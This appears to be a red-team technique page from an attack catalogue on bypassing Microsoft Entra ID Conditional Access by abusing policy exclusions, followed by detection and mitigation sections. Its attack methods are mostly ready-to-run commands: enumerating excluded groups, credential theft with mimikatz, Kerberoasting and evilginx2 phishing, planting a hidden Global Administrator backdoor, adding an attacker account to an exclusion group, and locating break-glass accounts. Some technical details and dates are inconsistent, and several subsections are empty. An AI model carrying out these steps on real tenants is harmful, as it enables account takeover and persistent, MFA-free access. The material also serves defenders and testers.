MCADDF

[EVADE-IMPAIR-008]: Conditional Access Exclusion Abuse

Metadata

Attribute Details
Technique ID EVADE-IMPAIR-008
MITRE ATT&CK v18.1 T1562.001 - Disable or Modify Tools
Tactic Defense Evasion
Platforms Entra ID
Severity Critical
Technique Status ACTIVE
Last Verified 2026-01-09
Affected Versions All Azure AD / Entra ID versions with Conditional Access
Patched In N/A (Exclusions are legitimate for business continuity)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Microsoft Entra ID’s Conditional Access (CA) policies are the organization’s primary defense mechanism, enforcing MFA, device compliance requirements, and restricting access from risky locations. However, all CA policies support “exclusions”—groups or users exempted from policy enforcement. These exclusions exist for legitimate reasons (service accounts, break-glass accounts, integration systems) but create a security gap that attackers exploit. An attacker who obtains compromised credentials for an excluded account (or adds themselves to an excluded group) can bypass ALL Conditional Access policies, including MFA enforcement, device compliance checks, and geographic restrictions. This technique is fundamentally an evasion mechanism because the attacker’s activity appears legitimate from the authentication system’s perspective—the system is working correctly by exempting them.

Attack Surface: Entra ID Conditional Access policy exclusions, Group memberships (especially cloud-only groups), Service principal exclusions, Break-glass emergency access accounts.

Business Impact: Complete bypass of all adaptive identity and access controls. Attackers can authenticate from any location, any time, with any device, without triggering MFA or compliance checks. This enables account takeover, credential theft, privilege escalation, and lateral movement across cloud resources without triggering security alerts.

Technical Context: Exploitation takes 2-5 minutes once an excluded account is compromised. Detection is very low because the account’s exclusion from CA appears legitimate in logs. Attackers who are excluded from MFA requirements can use stolen credentials immediately without waiting for MFA codes or biometric prompts.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 6.1.4 Ensure MFA is enforced for all administrative users
DISA STIG IA-2 (3.5.1) Multi-factor Authentication for administrative access
NIST 800-53 AC-3, IA-2 Access Control Enforcement and Authentication
GDPR Art. 32 Security of Processing - Multi-factor authentication required
DORA Art. 9 Protection and Prevention - Strong authentication controls
NIS2 Art. 21 Cyber Risk Management - Authentication requirements
ISO 27001 A.9.4.3 Use of privileged utility programs; A.9.2.2 User access provisioning
ISO 27005 “Bypass of MFA controls” Risk Scenario

2. TECHNICAL PREREQUISITES

Prerequisites Check Commands

Enumerate Conditional Access Policies and Exclusions (PowerShell):

# Import Graph module
Import-Module Microsoft.Graph.Identity.SignIns

# Connect to Graph
Connect-MgGraph -Scopes "ConditionalAccess.Read.All"

# List all CA policies
$policies = Get-MgIdentityConditionalAccessPolicy
$policies | Select-Object DisplayName, State | Format-Table

# View exclusions for each policy
foreach ($policy in $policies) {
  Write-Host "Policy: $($policy.DisplayName)"
  Write-Host "Excluded Users:" $policy.Conditions.Users.ExcludeUsers
  Write-Host "Excluded Groups:" $policy.Conditions.Users.ExcludeGroups
  Write-Host "---"
}

3. DETAILED EXECUTION METHODS

METHOD 1: Compromise Service Account in Excluded Group

Supported Versions: All Entra ID versions

Step 1: Enumerate Excluded Accounts and Groups

Objective: Identify which accounts/groups are exempt from Conditional Access policies.

Command (PowerShell - Full Exclusion Discovery):

# Connect to Graph API
Connect-MgGraph -Scopes "ConditionalAccess.Read.All", "Group.Read.All", "User.Read.All"

# Retrieve all CA policies
$policies = Get-MgIdentityConditionalAccessPolicy

# Extract and analyze exclusions
$excludedAccounts = @{}
foreach ($policy in $policies) {
  $displayName = $policy.DisplayName
  $excludedUsers = $policy.Conditions.Users.ExcludeUsers
  $excludedGroups = $policy.Conditions.Users.ExcludeGroups
  
  if ($excludedUsers -or $excludedGroups) {
    Write-Host "Policy: $displayName"
    Write-Host "  Excluded Users: $($excludedUsers -join ', ')"
    Write-Host "  Excluded Groups: $($excludedGroups -join ', ')"
    
    # Enumerate group members
    foreach ($groupId in $excludedGroups) {
      $groupMembers = Get-MgGroupMember -GroupId $groupId
      Write-Host "  Group Members: $($groupMembers.DisplayName -join ', ')"
    }
  }
}

Expected Output:

Policy: Require MFA for All Users
  Excluded Groups: 11111111-2222-3333-4444-555555555555
  Group Members: ADFS-ServiceAccount, Exchange-ServiceAccount, AppGateway-SA
  
Policy: Require Compliant Device
  Excluded Groups: 66666666-7777-8888-9999-aaaaaaaaaaaa
  Group Members: Emergency-Breakglass, ServiceAccount-Automation

What This Means:

OpSec & Evasion:

Step 2: Obtain Credentials for Excluded Service Account

Objective: Compromise a service account that is exempt from Conditional Access.

Attack Vector Examples:

Option A: Credential Theft from On-Premises (Hybrid Scenarios)

# If ADFS-ServiceAccount password hash is stored locally, extract via LSASS dump
# This is more reliable than targeting cloud accounts for MFA bypass

# Attacker already has shell access to AD server:
mimikatz # lsadump::sam
# Extract ADFS-ServiceAccount hash, then use Pass-the-Hash

# Kerberoast the ADFS service account
GetUserSPNs.py -request -dc-ip <DC_IP> -outputfile hashes.txt <domain>/<user>:<pass>
hashcat -m 13100 hashes.txt <wordlist>

Option B: Phishing Excluded Service Account

# Send MFA bypass phishing email to automation team
# "Urgent: Update Azure credentials immediately - click here"
# Phishing link is malicious auth proxy (evilginx2)
# Captures username/password without MFA challenge

Option C: Credential Stuffing (Least Likely)

# Use previously breached passwords from public leaks
# Test against excluded service accounts
# Statistically likely to compromise low-security service accounts

Step 3: Authenticate Using Excluded Account (Bypass MFA)

Objective: Sign in with compromised excluded account; observe lack of MFA challenge.

Command (Interactive Sign-In):

# Attacker signs in with compromised ADFS-ServiceAccount
# Navigate to portal.azure.com or login.microsoft.com
# Enter credentials: ADFS-ServiceAccount@tenant.onmicrosoft.com

# Expected behavior:
# - No MFA challenge (account is excluded)
# - No device compliance check (excluded)
# - No geographic restriction (excluded)
# - Sign-in succeeds immediately

What This Means:

OpSec & Evasion:

Step 4: Escalate to Full Admin Access (Optional)

Objective: Create persistent admin account using the excluded service account.

Command (Add New Global Admin):

# Using the excluded account's access, add new hidden admin account
# This new account can then be removed/hidden to avoid detection

# Step 1: Create new cloud-only user (no on-premises sync)
New-MgUser -DisplayName "Update-Service-Account" `
  -MailNickname "updateservice" `
  -UserPrincipalName "updateservice@tenant.onmicrosoft.com" `
  -Password (ConvertTo-SecureString "Complex!Pass2024$" -AsPlainText -Force) `
  -AccountEnabled $true

# Step 2: Assign Global Admin role
New-MgDirectoryRoleMember -DirectoryRoleId (Get-MgDirectoryRole | ? {$_.DisplayName -eq "Global Administrator"}).Id `
  -DirectoryObjectId (Get-MgUser -Filter "userPrincipalName eq 'updateservice@tenant.onmicrosoft.com'").Id

# Result: New admin account created and hidden in plain sight
# Can be used even if service account is disabled later

What This Means:


METHOD 2: Add Attacker Account to Excluded Group (Direct Modification)

Supported Versions: All Entra ID versions (if attacker has Directory Administrator role)

Step 1: Obtain Admin Credentials with Group Management Rights

Objective: Compromise an account with ability to modify group memberships.

Required Roles:

Step 2: Add Attacker Account to Excluded Group

Objective: Directly add compromised account to existing exclusion group.

Command (PowerShell):

# Connect as compromised admin
Connect-MgGraph -Scopes "Group.ReadWrite.All", "User.Read.All"

# Identify excluded group (e.g., "Service Accounts - CA Exclusion")
$excludedGroup = Get-MgGroup -Filter "displayName eq 'Service Accounts - CA Exclusion'"

# Add attacker's account to this group
$attackerUser = Get-MgUser -Filter "userPrincipalName eq 'attacker@tenant.onmicrosoft.com'"

New-MgGroupMember -GroupId $excludedGroup.Id -DirectoryObjectId $attackerUser.Id

Alternative (Graph REST API):

# Add user to group via REST API
curl -X POST \
  -H "Authorization: Bearer $ADMIN_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/'$ATTACKER_USER_ID'"
  }' \
  "https://graph.microsoft.com/v1.0/groups/$EXCLUDED_GROUP_ID/members/\$ref"

Expected Output:

(No output on success; group membership updated silently)

What This Means:

OpSec & Evasion:


METHOD 3: Compromise Break-Glass Emergency Access Account

Supported Versions: All Entra ID with emergency access (recommended feature, rarely used)

Step 1: Identify Emergency Access Account

Objective: Locate the break-glass emergency access account (usually least monitored).

Command (PowerShell - Find Emergency Access):

Connect-MgGraph -Scopes "User.Read.All"

# Break-glass accounts typically have these characteristics:
# - No licenses assigned
# - Cloud-only (no on-premises sync)
# - Rarely used (last sign-in is months/years ago)
# - High-privilege role (Global Admin)

Get-MgUser -Filter "UserType eq 'Member'" | Where-Object {
  # Check if user has no licenses
  $licenses = Get-MgUserLicenseDetail -UserId $_.Id
  if ($licenses.Count -eq 0) {
    # Check if Global Admin
    $roles = Get-MgUserMemberOf -UserId $_.Id | Where-Object { $_.AdditionalProperties['role.displayName'] -eq "Global Administrator" }
    if ($roles) {
      # Likely a break-glass account
      Write-Host "Potential Break-Glass: $($_.UserPrincipalName) - Last Sign-In: $(($_ | Get-MgUser).SignInActivity.LastSignInDateTime)"
    }
  }
}

Expected Output:

Potential Break-Glass: emergency@tenant.onmicrosoft.com - Last Sign-In: 2023-06-15 (7+ months ago)
Potential Break-Glass: breakglass-admin@tenant.onmicrosoft.com - Last Sign-In: 2022-01-20 (2+ years ago)

What This Means:

Step 2: Compromise Break-Glass Account via Vault Access

Objective: Obtain break-glass password from IT vault/documentation.

Attack Vectors:

Step 3: Authenticate Using Break-Glass Account

Objective: Sign in with break-glass account; bypass all CA policies.

Command (Interactive):

Navigate to login.microsoft.com
Username: emergency@tenant.onmicrosoft.com
Password: [long-stored-password-from-vault]

Expected result:
- No MFA challenge (emergency account exempt)
- No CA policy enforcement
- Full access to tenant resources immediately

OpSec & Evasion:


4. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Immediate Detection & Response

Step 1: Disable Excluded Account Immediately

# Disable the compromised excluded account
Update-MgUser -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com" -AccountEnabled $false

# Force sign-out of all sessions
Revoke-MgUserSignInSession -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com"

# Reset password (make it complex and store securely)
$newPassword = "SuperComplex!NewPass2024$#@!RandomString"
Update-MgUserPassword -UserId "ADFS-ServiceAccount@tenant.onmicrosoft.com" -NewPassword $newPassword -ForceChangePasswordNextSignIn $true

Manual (Azure Portal):

  1. Navigate to Entra IDUsers
  2. Search for compromised account (e.g., “ADFS-ServiceAccount”)
  3. Click account → Account enabled → Toggle to NoSave
  4. Go back to account → Sign-in sessionsDelete all sessions

Step 2: Remove Attacker from Exclusion Groups

# Remove attacker from excluded group
$excludedGroup = Get-MgGroup -Filter "displayName eq 'Service Accounts - CA Exclusion'"
$attacker = Get-MgUser -Filter "userPrincipalName eq 'attacker@tenant.onmicrosoft.com'"

Remove-MgGroupMemberByRef -GroupId $excludedGroup.Id -DirectoryObjectId $attacker.Id

Step 3: Disable Hidden Admin Accounts

# Find suspicious accounts created recently
Get-MgUser -Filter "createdDateTime gt 2026-01-01 and userType eq 'Member'" | Select DisplayName, UserPrincipalName, CreatedDateTime, AccountEnabled

# Disable suspicious accounts
foreach ($account in $suspiciousAccounts) {
  Update-MgUser -UserId $account.Id -AccountEnabled $false
  Remove-MgUser -UserId $account.Id  # Delete if possible
}

Step 4: Review CA Policy Exclusions

# Audit all CA policy exclusions
$policies = Get-MgIdentityConditionalAccessPolicy
foreach ($policy in $policies) {
  Write-Host "Policy: $($policy.DisplayName)"
  Write-Host "Excluded Users: $($policy.Conditions.Users.ExcludeUsers -join ', ')"
  Write-Host "Excluded Groups: $($policy.Conditions.Users.ExcludeGroups -join ', ')"
  
  # Remove suspicious exclusions
  if ($policy.Conditions.Users.ExcludeUsers -contains $ATTACKER_UPN) {
    # Update policy to remove exclusion
    $policy.Conditions.Users.ExcludeUsers = @($policy.Conditions.Users.ExcludeUsers | Where-Object { $_ -ne $ATTACKER_UPN })
    Update-MgIdentityConditionalAccessPolicy -ConditionalAccessPolicyId $policy.Id -BodyParameter $policy
  }
}

5. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Priority 2: HIGH

Access Control & Policy Hardening

Validation Commands (Verify Fixes)

# Check CA policies for excessive exclusions
Get-MgIdentityConditionalAccessPolicy | ForEach-Object {
  $policyName = $_.DisplayName
  $excludedCount = ($_.Conditions.Users.ExcludeUsers.Count) + ($_.Conditions.Users.ExcludeGroups.Count)
  if ($excludedCount -gt 2) {
    Write-Host "WARNING: Policy '$policyName' has $excludedCount exclusions (should be ≤2)"
  }
}

# Verify emergency account has no licenses and no recent activity
$breakGlass = Get-MgUser -Filter "userPrincipalName eq 'emergency@tenant.onmicrosoft.com'"
$licenses = Get-MgUserLicenseDetail -UserId $breakGlass.Id
$lastSignIn = $breakGlass.SignInActivity.LastSignInDateTime
Write-Host "Break-Glass Account: $($breakGlass.UserPrincipalName)"
Write-Host "Has Licenses: $($licenses.Count -gt 0)"
Write-Host "Last Sign-In: $lastSignIn (should be old if not in use)"

# Verify PIM is configured for service account roles
Get-MgIdentityGovernancePrivilegedAccessScheduleRequest | Where-Object { $_.TargetScheduleInfo.Principal.Id -in $SERVICE_ACCOUNTS } | Select Status, ApprovalStage

Expected Output (If Secure):

Policy: Require MFA for All Users
Has 1 exclusion (within acceptable range)

Break-Glass Account: emergency@tenant.onmicrosoft.com
Has Licenses: False
Last Sign-In: 2025-08-15 (8+ months old, not recently used)

ApprovalStage : Approval Required (MFA enforced)

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Steal OAuth device code, obtain user token
2 Privilege Escalation [PE-ACCTMGMT-014] Global Administrator Backdoor Use user token to add hidden admin account
3 Defense Evasion [EVADE-IMPAIR-008] Add backdoor account to CA exclusion group
4 Persistence [PERSIST-003] OAuth Application Persistence Register malicious app using excluded account (no MFA required)
5 Impact [DATA-EXF-001] Bulk Data Exfiltration Export tenant data using app without MFA bypass detection

7. REAL-WORLD EXAMPLES

Example 1: UNC2452 (SolarWinds Campaign) - CA Exclusion Abuse (2020-2021)

Example 2: APT29 (Cozy Bear) - Break-Glass Account Compromise (2024)

Example 3: ALPHV/BlackCat - Service Account Credential Reuse (2024)


References & Authoritative Sources